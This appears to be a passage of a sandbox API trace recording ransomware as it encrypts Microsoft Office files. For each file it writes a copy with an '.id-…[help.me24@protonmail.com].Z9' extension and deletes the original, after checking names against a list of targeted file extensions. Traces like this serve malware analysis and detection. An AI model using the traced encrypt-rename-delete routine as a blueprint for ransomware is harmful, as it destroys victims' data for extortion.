	[0168.653] ReadFile (in: hFile=0x47c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.653] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xe8, lpOverlapped=0x0) returned 1
	[0168.653] SetEndOfFile (hFile=0x4b8) returned 1
	[0168.654] CloseHandle (hObject=0x4b8) returned 1
	[0168.654] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.654] SetEndOfFile (hFile=0x47c) returned 1
	[0168.657] CloseHandle (hObject=0x47c) returned 1
	[0168.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1
	[0168.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.661] lstrlenW (lpString=".doc") returned 4
	[0168.661] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.661] lstrlenW (lpString=".docx") returned 5
	[0168.662] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.662] lstrlenW (lpString=".pdf") returned 4
	[0168.662] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString=".xls") returned 4
	[0168.662] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString=".xlsx") returned 5
	[0168.662] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.662] lstrlenW (lpString=".ppt") returned 4
	[0168.662] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.662] lstrlenW (lpString=".zip") returned 4
	[0168.662] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString=".rar") returned 4
	[0168.662] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString=".bz2") returned 4
	[0168.662] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString=".7z") returned 3
	[0168.662] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.662] lstrlenW (lpString=".dbf") returned 4
	[0168.662] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.662] lstrlenW (lpString=".1cd") returned 4
	[0168.662] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.662] lstrlenW (lpString=".jpg") returned 4
	[0168.662] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.662] lstrlenW (lpString=".doc") returned 4
	[0168.662] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString=".docx") returned 5
	[0168.662] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.662] lstrlenW (lpString=".pdf") returned 4
	[0168.662] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.662] lstrlenW (lpString=".xls") returned 4
	[0168.663] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.663] lstrlenW (lpString=".xlsx") returned 5
	[0168.663] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.663] lstrlenW (lpString=".ppt") returned 4
	[0168.663] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.663] lstrlenW (lpString=".zip") returned 4
	[0168.663] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.663] lstrlenW (lpString=".rar") returned 4
	[0168.663] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.663] lstrlenW (lpString=".bz2") returned 4
	[0168.663] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.663] lstrlenW (lpString=".7z") returned 3
	[0168.663] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.663] lstrlenW (lpString=".dbf") returned 4
	[0168.663] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.663] lstrlenW (lpString=".1cd") returned 4
	[0168.663] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0168.663] lstrlenW (lpString=".jpg") returned 4
	[0168.663] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.663] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.663] lstrlenW (lpString="Milk Glass.eftx") returned 15
	[0168.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0168.664] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=46403) returned 1
	[0168.664] CloseHandle (hObject=0x47c) returned 1
	[0168.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220
	[0168.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0168.665] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.665] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0168.666] GetLastError () returned 0x0
	[0168.666] ReadFile (in: hFile=0x47c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xb543, lpOverlapped=0x0) returned 1
	[0168.858] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xb550, lpOverlapped=0x0) returned 1
	[0168.860] ReadFile (in: hFile=0x47c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.860] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xf2, lpOverlapped=0x0) returned 1
	[0168.860] SetEndOfFile (hFile=0x4b8) returned 1
	[0168.861] CloseHandle (hObject=0x4b8) returned 1
	[0168.861] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.861] SetEndOfFile (hFile=0x47c) returned 1
	[0168.864] CloseHandle (hObject=0x47c) returned 1
	[0168.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1
	[0168.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.865] lstrlenW (lpString=".doc") returned 4
	[0168.866] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString=".docx") returned 5
	[0168.866] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.866] lstrlenW (lpString=".pdf") returned 4
	[0168.866] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString=".xls") returned 4
	[0168.866] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString=".xlsx") returned 5
	[0168.866] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.866] lstrlenW (lpString=".ppt") returned 4
	[0168.866] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.866] lstrlenW (lpString=".zip") returned 4
	[0168.866] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString=".rar") returned 4
	[0168.866] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString=".bz2") returned 4
	[0168.866] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString=".7z") returned 3
	[0168.866] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.866] lstrlenW (lpString=".dbf") returned 4
	[0168.866] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.866] lstrlenW (lpString=".1cd") returned 4
	[0168.866] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.866] lstrlenW (lpString=".jpg") returned 4
	[0168.866] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.866] lstrlenW (lpString=".doc") returned 4
	[0168.866] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.866] lstrlenW (lpString=".docx") returned 5
	[0168.866] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.867] lstrlenW (lpString=".pdf") returned 4
	[0168.867] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.867] lstrlenW (lpString=".xls") returned 4
	[0168.867] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.867] lstrlenW (lpString=".xlsx") returned 5
	[0168.867] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.867] lstrlenW (lpString=".ppt") returned 4
	[0168.867] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.867] lstrlenW (lpString=".zip") returned 4
	[0168.867] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.867] lstrlenW (lpString=".rar") returned 4
	[0168.867] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.867] lstrlenW (lpString=".bz2") returned 4
	[0168.867] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.867] lstrlenW (lpString=".7z") returned 3
	[0168.867] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.867] lstrlenW (lpString=".dbf") returned 4
	[0168.867] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.867] lstrlenW (lpString=".1cd") returned 4
	[0168.867] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0168.867] lstrlenW (lpString=".jpg") returned 4
	[0168.867] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.867] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.867] lstrlenW (lpString="Top Shadow.eftx") returned 15
	[0168.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.091] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=56944) returned 1
	[0169.091] CloseHandle (hObject=0x4a8) returned 1
	[0169.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220
	[0169.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.093] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.093] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec
	[0169.094] GetLastError () returned 0x0
	[0169.094] ReadFile (in: hFile=0x4a8, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xde70, lpOverlapped=0x0) returned 1
	[0169.099] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xde80, lpOverlapped=0x0) returned 1
	[0169.102] ReadFile (in: hFile=0x4a8, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.102] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xf2, lpOverlapped=0x0) returned 1
	[0169.102] SetEndOfFile (hFile=0x4ec) returned 1
	[0169.102] CloseHandle (hObject=0x4ec) returned 1
	[0169.102] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.102] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.107] CloseHandle (hObject=0x4a8) returned 1
	[0169.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1
	[0169.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.109] lstrlenW (lpString=".doc") returned 4
	[0169.109] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0169.109] lstrlenW (lpString=".docx") returned 5
	[0169.109] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0169.109] lstrlenW (lpString=".pdf") returned 4
	[0169.109] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0169.109] lstrlenW (lpString=".xls") returned 4
	[0169.109] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0169.109] lstrlenW (lpString=".xlsx") returned 5
	[0169.109] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0169.109] lstrlenW (lpString=".ppt") returned 4
	[0169.109] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0169.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.109] lstrlenW (lpString=".zip") returned 4
	[0169.109] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0169.109] lstrlenW (lpString=".rar") returned 4
	[0169.109] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0169.109] lstrlenW (lpString=".bz2") returned 4
	[0169.109] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0169.109] lstrlenW (lpString=".7z") returned 3
	[0169.109] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0169.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.109] lstrlenW (lpString=".dbf") returned 4
	[0169.110] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.110] lstrlenW (lpString=".1cd") returned 4
	[0169.110] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.110] lstrlenW (lpString=".jpg") returned 4
	[0169.110] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.110] lstrlenW (lpString=".doc") returned 4
	[0169.110] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString=".docx") returned 5
	[0169.110] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0169.110] lstrlenW (lpString=".pdf") returned 4
	[0169.110] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString=".xls") returned 4
	[0169.110] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString=".xlsx") returned 5
	[0169.110] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0169.110] lstrlenW (lpString=".ppt") returned 4
	[0169.110] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.110] lstrlenW (lpString=".zip") returned 4
	[0169.110] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString=".rar") returned 4
	[0169.110] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0169.110] lstrlenW (lpString=".bz2") returned 4
	[0169.111] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0169.111] lstrlenW (lpString=".7z") returned 3
	[0169.111] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0169.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.111] lstrlenW (lpString=".dbf") returned 4
	[0169.111] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0169.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.111] lstrlenW (lpString=".1cd") returned 4
	[0169.111] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0169.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0169.111] lstrlenW (lpString=".jpg") returned 4
	[0169.111] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0169.111] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.111] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0169.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.116] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=18624) returned 1
	[0169.116] CloseHandle (hObject=0x4a8) returned 1
	[0169.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220
	[0169.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0169.117] lstrlenW (lpString=".doc") returned 4
	[0169.117] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.117] lstrlenW (lpString=".docx") returned 5
	[0169.117] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.117] lstrlenW (lpString=".pdf") returned 4
	[0169.117] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.117] lstrlenW (lpString=".xls") returned 4
	[0169.117] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.117] lstrlenW (lpString=".xlsx") returned 5
	[0169.117] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.117] lstrlenW (lpString=".ppt") returned 4
	[0169.117] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
